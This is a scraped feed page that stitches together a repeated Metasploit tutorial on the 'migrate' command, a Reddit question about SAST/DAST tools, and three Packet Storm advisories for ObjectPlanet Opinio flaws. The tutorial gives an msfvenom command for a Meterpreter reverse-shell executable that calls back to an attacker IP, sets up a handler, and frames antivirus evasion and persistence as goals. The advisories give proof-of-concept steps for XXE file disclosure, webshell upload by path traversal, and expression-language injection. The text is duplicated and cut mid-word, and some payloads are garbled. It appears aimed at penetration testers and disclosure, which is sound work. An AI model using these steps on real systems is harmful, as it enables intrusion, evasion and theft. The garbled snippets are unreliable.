Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking Articles|Raj Chandel's Blog
Metasploit for Pentester: Migrate
In the continuation in this series of articles dedicated to the Metasploit Framework to provide an appropriate resource for Penetration Testers so that they can use the variety of the features present in the Metasploit Framework to the maximum extent. In this article, we will be talking about the migrate command and its functionalities. Table of Content<o:p· Introduction<o:p· Migration with Process Name<o:p· Migration with Process ID<o:p· Generating Prepend Migrate Payload<o:p· Persistence with Prepend Migrate<o:p· Conclusion<o:pIntroduction<o:pBefore jumping right into the migrate command and its options, it should be stated that migrate is a post-exploitation module and it can be used only after successful exploitation of a machine. In the demonstration provided, we have exploited a Windows Machine and will be using the migrate command on the processes running on that machine. When we have successfully exploited a machine and have achieved a Meterpreter session on it, we can use the Migrate command to transfer the process on which the exploit is running on a different process. The reason for migrating from one process to another can be stated below.<o:p
1. Stability: Exploits and Payloads that are providing the session tend to be unstable as compared to the basic process that has been developed for the target and is running on the target. Hence, migrating to those processes can serve to provide a more stable connection.<o:p
2. Cloaking: Antivirus Software or any other Defensive Software tends to scan and look for malicious files that might be running on the machine. Hence, Cloaking or Hiding our malicious process will avoid detection.<o:p
3. Compatibility: It is possible that while exploiting a machine that the payload you used might be designed for the 64-bit Architecture but the session that you have received is an Operating System running an 86-bit Architecture. Migrate can be used to shift the process to the native process and provide compatibility to the session.<o:p
Now that we have a basic understanding of the migrate command and the locations or situations where migration can be used. To understand the various options that can be used with the migrate command, we can run migrate with the -h option and we will have the help section as shown in the image. We can see that we have the choice to provide the PID of the process that we want to migrate, -P option to provide the target PID, -N to provide the Name of the process, and -t to provide the timeout.<o:p migrate -h<o:phttps://1.bp.blogspot.com/-QByVeBEEPXk/YQPb9XVzmwI/AAAAAAAAyBg/_aY4FjZOp_QEDg9q65YxlIv4To2vKCt5gCLcBGAsYHQ/s16000/1.png Migration with Process Name<o:pWe will begin with the Migration based on the Name of the process. Migrate is usually used in the collaboration with the Process ID but as we were able to deduce from the Help section that an option is available that can help us with the migration using the name of the process. To demonstrate we will migrate the payload that we used to get the session on the target machine into the Explorer.exe process. We can see that the payload raj.exe is running on the machine with the Process ID of 7088. Keep this in mind as when we migrate it, it can be verified based on this PID.<o:p https://1.bp.blogspot.com/-SufgBpfJ4EQ/YQPcCXnU3MI/AAAAAAAAyBk/9TrK19ZwsQAMyHmrvF8GbljEVEIxa8YjgCLcBGAsYHQ/s16000/2.png We know that Explorer Process is the process that is running on Windows-based machines and it is responsible for the Display Management and the Taskbar and Start Menu as well. This means that this process will be running until the machine is turned off. This makes this process an ideal candidate for migr[...]
Metasploit for Pentester: Migrate
In the continuation in this series of articles dedicated to the Metasploit Framework to provide an appropriate resource for Penetration Testers so that they can use the variety of the features present in the Metasploit Framework to the maximum extent. In this article, we will be talking about the migrate command and its functionalities. Table of Content<o:p· Introduction<o:p· Migration with Process Name<o:p· Migration with Process ID<o:p· Generating Prepend Migrate Payload<o:p· Persistence with Prepend Migrate<o:p· Conclusion<o:pIntroduction<o:pBefore jumping right into the migrate command and its options, it should be stated that migrate is a post-exploitation module and it can be used only after successful exploitation of a machine. In the demonstration provided, we have exploited a Windows Machine and will be using the migrate command on the processes running on that machine. When we have successfully exploited a machine and have achieved a Meterpreter session on it, we can use the Migrate command to transfer the process on which the exploit is running on a different process. The reason for migrating from one process to another can be stated below.<o:p
1. Stability: Exploits and Payloads that are providing the session tend to be unstable as compared to the basic process that has been developed for the target and is running on the target. Hence, migrating to those processes can serve to provide a more stable connection.<o:p
2. Cloaking: Antivirus Software or any other Defensive Software tends to scan and look for malicious files that might be running on the machine. Hence, Cloaking or Hiding our malicious process will avoid detection.<o:p
3. Compatibility: It is possible that while exploiting a machine that the payload you used might be designed for the 64-bit Architecture but the session that you have received is an Operating System running an 86-bit Architecture. Migrate can be used to shift the process to the native process and provide compatibility to the session.<o:p
Now that we have a basic understanding of the migrate command and the locations or situations where migration can be used. To understand the various options that can be used with the migrate command, we can run migrate with the -h option and we will have the help section as shown in the image. We can see that we have the choice to provide the PID of the process that we want to migrate, -P option to provide the target PID, -N to provide the Name of the process, and -t to provide the timeout.<o:p migrate -h<o:phttps://1.bp.blogspot.com/-QByVeBEEPXk/YQPb9XVzmwI/AAAAAAAAyBg/_aY4FjZOp_QEDg9q65YxlIv4To2vKCt5gCLcBGAsYHQ/s16000/1.png Migration with Process Name<o:pWe will begin with the Migration based on the Name of the process. Migrate is usually used in the collaboration with the Process ID but as we were able to deduce from the Help section that an option is available that can help us with the migration using the name of the process. To demonstrate we will migrate the payload that we used to get the session on the target machine into the Explorer.exe process. We can see that the payload raj.exe is running on the machine with the Process ID of 7088. Keep this in mind as when we migrate it, it can be verified based on this PID.<o:p https://1.bp.blogspot.com/-SufgBpfJ4EQ/YQPcCXnU3MI/AAAAAAAAyBk/9TrK19ZwsQAMyHmrvF8GbljEVEIxa8YjgCLcBGAsYHQ/s16000/2.png We know that Explorer Process is the process that is running on Windows-based machines and it is responsible for the Display Management and the Taskbar and Start Menu as well. This means that this process will be running until the machine is turned off. This makes this process an ideal candidate for migr[...]
Hacking Articles Tips Tricks Videos Tutorials
Hacking Articles|Raj Chandel's Blog Metasploit for Pentester: Migrate In the continuation in this series of articles dedicated to the Metasploit Framework to provide an appropriate resource for Penetration Testers so that they can use the variety of the features…
ating the payload. We run the migrate command with the -N option followed by the process name and we can see the image below that the payload process raj.exe with PID 7088 was migrated to the Explorer Process with PID 5200.<o:p migrate -N explorer.exe<o:phttps://1.bp.blogspot.com/-u1QBoPGXW5g/YQPcGgmHj2I/AAAAAAAAyBo/8MmGvh-Y6W8AzOkqFjp_RzXVqwbAAsuqQCLcBGAsYHQ/s16000/3.png To perform a little check on our payload process we again run the ps command with grep to look for a process with the name raj.exe but as we can see that the process was not found because it was migrated to the Explorer process.<o:p ps | grep raj.exe<o:phttps://1.bp.blogspot.com/-y0I2ekrfJKM/YQPcLpM6U0I/AAAAAAAAyBs/Gpda5FtO6sAizd-geyVsg_FFdJzXeUOZwCLcBGAsYHQ/s16000/4.png Migration with Process ID<o:pMoving onto the demonstration of the method that most of the Penetration Testes are familiar with. As they have used the migrate in to perform the migration of a process using the PID. To demonstrate, we will take the notepad process running on the target machine with the PID 3556. This is just a random example, the method can be applied to any of the processes or even the payload process as shown earlier. <o:p https://1.bp.blogspot.com/-9QR-wfimTrU/YQPcQC5OjYI/AAAAAAAAyBw/VeuFENE1YLQW93N6p-aOveAPCRuz1O7aQCLcBGAsYHQ/s16000/6.png Now, again we can check the process that we are targeting with the help of the ps command. This process can be streamlined with the help of grep as it will show the process of interest. We see that we have the process with the PID 3556. We will use the migrate command and followed by the process ID of the targeted process. And we can see that the process was successfully migrated.<o:p ps | grep notepad<o:pmigrate 3556<o:phttps://1.bp.blogspot.com/-DwU_q3G3P1c/YQPcVJrfscI/AAAAAAAAyB4/15gZPbFyrVMvhTWzeKSItKzZKzNryxnIwCLcBGAsYHQ/s16000/7.png Generating Prepend Migrate Payload<o:pEarlier we talked about how the Explorer process is the ideal process for migrating the payload process. We can arrange this while creating the payload itself with the help of msfvenom. This will create the payload of your choice with the prependmigrate option. From the image and the command provided below, we can see that we are creating a payload targeting the Windows machine and generating a reverse shell back to the IP Address 192.168.1.2 and port 1234. But we also provide that the malicious process should migrate to the Explorer process. At last, we are stating that this payload should be generated into an executable file for the target to run.<o:p msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.2 lport=1234 prependmigrateprocess=explorer.exe prependmigrate-true -f exe > shell.exe<o:phttps://1.bp.blogspot.com/-N4JKWwlIkMk/YQPcaCr-5_I/AAAAAAAAyCA/79LmjCJQc1kt52eZlKj9a-E0KqFYs3HBACLcBGAsYHQ/s16000/8.png Persistence with Prepend Migrate<o:pFinally, we are going to migrate the malicious process to a safe already running process, and then we will try to kill the process to see if it is possible to create a Persistence with this type of migration. This will help us with the life of the session that we have generated. Suppose that target, can be the user or any protection software suspects that there is a malicious process present on the machine, it can try to terminate the particular process. However, if we can migrate the process, it can retain the session and give us the access that we require. We use the payload we generated using MSFVenom in the previous stage and use it to get a session on the target machine. We will require a listener to capture the reverse shell that will be generated by the execution of the payload on the target machine. We set all the parameters that we set while creating the payload and as soon as we get a session on the machine, we can see that the shell process was created with the PID 8064. We try to kill the process and we[...]
Hacking Articles Tips Tricks Videos Tutorials
ating the payload. We run the migrate command with the -N option followed by the process name and we can see the image below that the payload process raj.exe with PID 7088 was migrated to the Explorer Process with PID 5200.<o:p migrate -N explorer.exe<o:p…
can see that even after the targeted process was killed the session remains active and we have a persistence meterpreter on the target machine.<o:p use exploit/multi/handler<o:pset payload windows/meterpreter/reverse_tcp<o:pset lhost 192.168.1.2<o:pset lport 1234<o:pset prependmigrateprocess explorer.exe<o:pset prependmigrate true<o:pexploit<o:pps | grep shell.exe<o:pkill 8064<o:psysinfo<o:phttps://1.bp.blogspot.com/-WuYVar5cuC8/YQPce-lb9eI/AAAAAAAAyCI/wAwO0Kfh9sswHCPCwGXEbMcptUwZfIs7wCLcBGAsYHQ/s16000/9.png Conclusion<o:pTo conclude, we would like to point out that Metasploit is full of various small utilities that any Penetration Tester could use during their assessment. However, the depth of the different tasks that these utilities can perform is much more than what we use them for. Hence, we wrote this article to introduce the workings of the migrate command from the Metasploit Framework.<o:p
hacking: security in practice
Best SAST and DAST for web applications
Hey, guys!
I know SAST and DAST tools aren't the most reliable softwares in the world and can give you tons of false positives or false negatives... But if you have to choose one, which one would be? And why?
I search about a few and I'm using OWASP Zap, mainly 'cause it's free and my team lack experience with his kind of software, so I don't want to spent a lot of money rn.
submitted by /u/Rekkien
[link] [comments]
Best SAST and DAST for web applications
Hey, guys!
I know SAST and DAST tools aren't the most reliable softwares in the world and can give you tons of false positives or false negatives... But if you have to choose one, which one would be? And why?
I search about a few and I'm using OWASP Zap, mainly 'cause it's free and my team lack experience with his kind of software, so I don't want to spent a lot of money rn.
submitted by /u/Rekkien
[link] [comments]
reddit
Best SAST and DAST for web applications
Hey, guys! I know SAST and DAST tools aren't the most reliable softwares in the world and can give you tons of false positives or false...
Hello,my name is Muhammad Syahrul Haniawan. I am from Indonesia and this is my first write up on Medium.com. I’ll tell you a little about…Continue reading on Medium » (https://medium.com/@mumeido/from-hobby-to-hacking-5d8befb3adde?source=rss------bug_bounty-5)
Exploiting basic SQL vulnerability.
https://sanduni.medium.com/exploiting-basic-sql-vulnerability-e63d4e624410?source=rss------bug_bounty-5
https://sanduni.medium.com/exploiting-basic-sql-vulnerability-e63d4e624410?source=rss------bug_bounty-5
PortSwigger SQL Lab Exercise: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data.Continue reading on Medium » (https://sanduni.medium.com/exploiting-basic-sql-vulnerability-e63d4e624410?source=rss------bug_bounty-5)
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking Articles
Metasploit for Pentester: Migrate
In the continuation in this series of articles dedicated to the Metasploit Framework to provide an appropriate resource for Penetration Testers so that they can use the variety of the features present in the Metasploit Framework to the maximum extent. In this article, we will be talking about the migrate
The post Metasploit for Pentester: Migrate appeared first on Hacking Articles.
Metasploit for Pentester: Migrate
In the continuation in this series of articles dedicated to the Metasploit Framework to provide an appropriate resource for Penetration Testers so that they can use the variety of the features present in the Metasploit Framework to the maximum extent. In this article, we will be talking about the migrate
The post Metasploit for Pentester: Migrate appeared first on Hacking Articles.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
ObjectPlanet Opinio 7.13 / 7.14 XML Injection
https://3.bp.blogspot.com/-IdvtX_t6dWw/WWlvCDhzudI/AAAAAAAAIKg/xbP9RqLektQzycUDwAlgxfpiSc2tZZpAwCLcBGAs/s1600/h126.png
ObjectPlanet Opinio versions 7.13 and 7.14 suffer from an XML external entity injection vulnerability.
MD5 |
Download
Source:packetstormsecurity.com
ObjectPlanet Opinio 7.13 / 7.14 XML Injection
https://3.bp.blogspot.com/-IdvtX_t6dWw/WWlvCDhzudI/AAAAAAAAIKg/xbP9RqLektQzycUDwAlgxfpiSc2tZZpAwCLcBGAs/s1600/h126.png
ObjectPlanet Opinio versions 7.13 and 7.14 suffer from an XML external entity injection vulnerability.
MD5 |
42b0801a736a8c5f0e5d56cd04363a4eDownload
# Exploit Authors: Timothy Tan , Daniel Tan, Yu EnHui, Khor Yong Heng
# CVE: CVE-2020-26564
# Exploit Title: ObjectPlanet Opinio version 7.13/7.14 allows XXE injection
# Vendor Homepage: https://www.objectplanet.com/opinio/
# Software Link: https://www.objectplanet.com/opinio/
# Exploit Authors: Timothy Tan , Daniel Tan, Yu EnHui, Khor Yong Heng
# CVE: CVE-2020-26564
# Timeline
- September 2020: Initial discovery
- October 2020: Reported to ObjectPlanet
- November 2020: Fix/patch provided by ObjectPlanet
- July 2021: CVE-2020-26564
# 1. Introduction
Opinio is a survey management solution by ObjectPlanet that allows surveys to be designed, published and managed.
# 2. Vulnerability Details
ObjectPlanet Opinio before version 7.13 and 7.14 is vulnerable to XXE injection.
# 3. Proof of Concept
### XXE leading to local file disclosure ###
Step 1:
URL: /opinio/admin/file.do?action=viewEditFileResource&resourceType=6&resourcePatch=upload/css/common/blueSurvey.css
Opinio allows an administrative user to edit local CSS files, this is used to change the contents of a CSS file to a dtd reference file for the XXE injection
The existing blueSurvey.css file was chosen for this PoC. Replace the contents of the file with:
-------------------------------------------------------
Step 2:
Utilize Opinios survey module and create a generic survey template. Export the template .xml file and add this snippet into the top of the .xml file:
">
"file:////C:\<base_directory\opinio\upload\css\common\blueSurvey.css">
%dtd;
Ensure the surveyIntro tag is inserted with the following payload (This will output the result in the
surveyIntro field):
<surveyintro&all;
The base directory can be guessed via the information under Setup >> Edit System Settings , this page on Opinio shows the local directory of where Opinio was installed to.
Import the modified .xml file to:
/survey/admin/folderSurvey.do?action=viewImportSurvey['importFile']
-------------------------------------------------------
Step 3:
The C:\Users\ directory can be viewed at :
/opinio/admin/preview.do?action=previewSurvey&surveyId=<survey_id
This vulnerability was confirmed by ObjectPlanet Opinio in their patch notes which can be found at : https://www.objectplanet.com/opinio/changelog.html
# 4. Remediation
Apply the latest fix/patch from objectplanet.
# 5. Credits
Timothy Tan (https://sg.linkedin.com/in/timtjh)
Khor Yong Heng (https://www.linkedin.com/in/khor-yong-heng-66108a120/)
Yu EnHui (https://www.linkedin.com/in/enhui-yu-88691b15b/)
Daniel Tan (https://www.linkedin.com/in/dantanjk/)
Source:packetstormsecurity.com
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
ObjectPlanet Opinio 7.13 Shell Upload
https://4.bp.blogspot.com/-IV-83q7tlNU/WWlvNru3JHI/AAAAAAAAIMg/qWmIdM50sJs0a5mqLHfeVDVNkTKQ10wJwCLcBGAs/s1600/h23.png
ObjectPlanet Opinio version 7.13 suffers from a remote shell upload vulnerability.
MD5 |
Download
Source:packetstormsecurity.com
ObjectPlanet Opinio 7.13 Shell Upload
https://4.bp.blogspot.com/-IV-83q7tlNU/WWlvNru3JHI/AAAAAAAAIMg/qWmIdM50sJs0a5mqLHfeVDVNkTKQ10wJwCLcBGAs/s1600/h23.png
ObjectPlanet Opinio version 7.13 suffers from a remote shell upload vulnerability.
MD5 |
428a660ba8fcf617d5de88b7920acbe4Download
# Exploit Authors: Timothy Tan , Daniel Tan, Yu EnHui, Khor Yong Heng
# CVE: CVE-2020-26806
# Exploit Title: ObjectPlanet Opinio version 7.13 allows unrestricted file upload
# Vendor Homepage: https://www.objectplanet.com/opinio/
# Software Link: https://www.objectplanet.com/opinio/
# Exploit Authors: Timothy Tan , Daniel Tan, Yu EnHui, Khor Yong Heng
# CVE: CVE-2020-26806
# Timeline
- September 2020: Initial discovery
- October 2020: Reported to ObjectPlanet
- November 2020: Fix/patch provided by ObjectPlanet
- July 2021: CVE-2020-26806
# 1. Introduction
Opinio is a survey management solution by ObjectPlanet that allows surveys to be designed, published and managed.
# 2. Vulnerability Details
ObjectPlanet Opinio before version 7.13 is vulnerable to unrestricted file uploads
# 3. Proof of Concept
### Unrestricted File Upload leading to RCE ###
Step 1:
URL: /opinio/admin/file.do
Opinio allows an administrative user to edit local CSS files. This file editing function however does not validate if the HTTP POST parameters are tampered with.
Post parameters to tamper with:
- filePath
- fileContent
The base directory can be guessed via the information under Setup >> Edit System Settings , this page on Opinio shows the local directory of where Opinio was installed to.
The file path can be tampered with for e.g. : /upload/css/common/../../../admin/shell.jsp
The fileContent value was tampered with a JSP webshell for this PoC and a webshell was acheieved
For our PoC, we could view the web.xml file using an XXE vulnerability CVE-2020-26564 and identify which JSP files were allowed be loaded and replaced the contents of that JSP file with the webshell code
This vulnerability was confirmed by ObjectPlanet Opinio in their patch notes which can be found at : https://www.objectplanet.com/opinio/changelog.html
-------------------------------------------------------
# 4. Remediation
Apply the latest fix/patch from objectplanet.
# 5. Credits
Timothy Tan (https://sg.linkedin.com/in/timtjh)
Khor Yong Heng (https://www.linkedin.com/in/khor-yong-heng-66108a120/)
Yu EnHui (https://www.linkedin.com/in/enhui-yu-88691b15b/)
Daniel Tan (https://www.linkedin.com/in/dantanjk/)
Source:packetstormsecurity.com
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
ObjectPlanet Opinio 7.13 Expression Language Injection
https://3.bp.blogspot.com/-8aNXwMYQICE/WWlvIs7ranI/AAAAAAAAILw/f2UnTjqyD14e3ZIoWuyFJjQ7Is9Nz7MtQCLcBGAs/s1600/h144.png
ObjectPlanet Opinio version 7.13 suffers from an expression language injection vulnerability.
MD5 |
Download
Source:packetstormsecurity.com
ObjectPlanet Opinio 7.13 Expression Language Injection
https://3.bp.blogspot.com/-8aNXwMYQICE/WWlvIs7ranI/AAAAAAAAILw/f2UnTjqyD14e3ZIoWuyFJjQ7Is9Nz7MtQCLcBGAs/s1600/h144.png
ObjectPlanet Opinio version 7.13 suffers from an expression language injection vulnerability.
MD5 |
e4ac02c7c40ce27bf82fc181349ac136Download
# Exploit Authors: Timothy Tan , Daniel Tan, Yu EnHui, Khor Yong Heng
# CVE: CVE-2020-26565
# Exploit Title: ObjectPlanet Opinio version 7.13 allows expression language injection
# Vendor Homepage: https://www.objectplanet.com/opinio/
# Software Link: https://www.objectplanet.com/opinio/
# Exploit Authors: Timothy Tan , Daniel Tan, Yu EnHui, Khor Yong Heng
# CVE: CVE-2020-26565
# Timeline
- September 2020: Initial discovery
- October 2020: Reported to ObjectPlanet
- November 2020: Fix/patch provided by ObjectPlanet
- July 2021: CVE-2020-26565
# 1. Introduction
Opinio is a survey management solution by ObjectPlanet that allows surveys to be designed, published and managed.
# 2. Vulnerability Details
ObjectPlanet Opinio before version 7.13 is vulnerable to expression language injection
# 3. Proof of Concept
### Expression Language Injection leading to sensitive information disclosure ###
Step 1:
URL: /opinio/admin/permissionList.do?userId=1&from=$%7b7%2a7%7d
Payload: ${7*7} - URL encoded
The "from" parameter is vulnerable to Expression Language injection and this was validated by inspecting the loaded page source which executed the URL encoded payload to return 49
This vulnerability can be used to enumerate the sensitive information about the web server. Some examples of payloads that executed successfully are:
- ${pageContext.request.serverName} - returned server name
- ${pageContext.serveletContext.serverInfo} - returned server information
- ${pageContext.servletConfig.class} - returned information about the Apache server
This vulnerability was confirmed by ObjectPlanet Opinio in their patch notes which can be found at : https://www.objectplanet.com/opinio/changelog.html
-------------------------------------------------------
# 4. Remediation
Apply the latest fix/patch from objectplanet.
# 5. Credits
Timothy Tan (https://sg.linkedin.com/in/timtjh)
Khor Yong Heng (https://www.linkedin.com/in/khor-yong-heng-66108a120/)
Yu EnHui (https://www.linkedin.com/in/enhui-yu-88691b15b/)
Daniel Tan (https://www.linkedin.com/in/dantanjk/)
Source:packetstormsecurity.com